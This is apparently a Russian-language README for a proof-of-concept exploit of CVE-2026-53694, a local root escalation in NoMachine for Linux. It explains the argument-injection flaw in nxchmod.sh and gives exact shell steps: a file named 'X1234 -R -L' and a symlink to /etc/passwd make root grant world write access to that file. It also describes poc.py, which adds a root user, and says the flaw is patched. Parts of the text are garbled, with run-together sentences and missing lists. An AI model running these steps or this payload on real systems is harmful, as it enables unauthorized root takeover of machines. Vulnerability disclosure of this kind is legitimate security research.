
Эксплойт доказательства концепции и описание для CVE-2026-53694, локальное повышение привилегий в NoMachine для Linux через внедрение аргументов в nxchmod.sh, позволяющее получить доступ root с помощью манипуляции символическими ссылками.
Этот репозиторий содержит описание и Proof of Concept (PoC) для CVE-2026-53694 — уязвимости локального повышения привилегий (LPE) в NoMachine для Linux.
Из-за неправильной нейтрализации разделителей аргументов в скрипте nxchmod.sh локальный непривилегированный пользователь может внедрить аргументы в системную команду, выполняемую от имени root. Комбинируя эту инъекцию аргументов с символической ссылкой, атакующий может перезаписать критически важные системные файлы (например, /etc/passwd) и повысить свои привилегии до root.
Данная уязвимость полностью исправлена разработчиком.
Обнаружение этой уязвимости было процессом проб, ошибок и ночного озарения. Вот как разворачивалось открытие:
/usr/NX/scripts/restricted/nxchmod.sh периодически выполнялся от имени root для управления правами доступа в определённых каталогах.chmod a+rw к файлам. Я подумал: Если я контролирую путь назначения, могу ли я с помощью симлинка сделать /etc/passwd доступным для записи? Я протестировал обычную символическую ссылку (ln -s /etc/passwd /tmp/asdf), но она не сработала. Sticky-бит Linux в таких каталогах, как /tmp, предотвращает слепое следование символической ссылке, созданной другим пользователем, даже для root.${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}. Скрипт брал буквальное имя файла и передавал его напрямую в chmod.X1234 -R -L. Когда скрипт запускался, команда chmod разворачивала это в аргументы, а не в одиночный путь к файлу.-L (следовать симлинкам) и (рекурсивно) в команду через имя файла, я заставил сам бинарник разрешить и пройти по созданной мной символической ссылке в каталоге, полностью обходя защиту sticky-бита.Уязвимость возникает из-за того, как NoMachine обрабатывает права доступа для сокетов X11/Wayland. Скрипт nxchmod.sh запускается демоном nxserver.bin, работающим от имени root.
Уязвимое выполнение выглядит так:
# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}
Если атакующий создаёт структуру каталогов и файл с именем X1234 -R -L, итоговая команда, выполняемая root, становится:
/bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L
Когда символическая ссылка, указывающая на /etc/passwd, помещается в каталог X1234, внедрённые аргументы -R и -L заставляют chmod рекурсивно пройти по симлинку и предоставить глобальные права на чтение/запись целевому файлу.
Для успешной эксплуатации целевая система должна соответствовать следующим условиям:
Вы можете воспроизвести эту уязвимость либо вручную с помощью команд оболочки, либо автоматически с помощью предоставленного скрипта на Python.
Перейдите в /tmp/.X11-unix/ и выполните следующие команды для создания вредоносной структуры каталогов.
cd /tmp/.X11-unix/
# 1. Настройка эксплуатации
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn
# Дождитесь выполнения nxchmod.sh (может занять до 60 секунд).
# Проверьте, что права доступа /etc/passwd изменились на -rw-rw-rw-
# Теперь вы можете отредактировать /etc/passwd, чтобы добавить root-пользователя.
После того как вы подтвердили уязвимость и повысили привилегии, выполните следующие команды очистки для восстановления стабильности системы и удаления артефактов:
# 2. Очистка
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd
Полный автоматизированный эксплойт предоставлен в poc.py. Этот скрипт проверяет требования Wayland, настраивает симлинк, ожидает цикла выполнения nxchmod.sh и добавляет нового root-пользователя (gg) в /etc/passwd.
Для запуска эксплойта:
python3 poc.py
Эта уязвимость была устранена компанией NoMachine. Пользователям следует обновиться до следующих версий или более новых:
-Rchmodchmod/etc/passwd стал доступен для записи (a+rw), я просто добавил нового root-пользователя в файл и выполнил su для входа.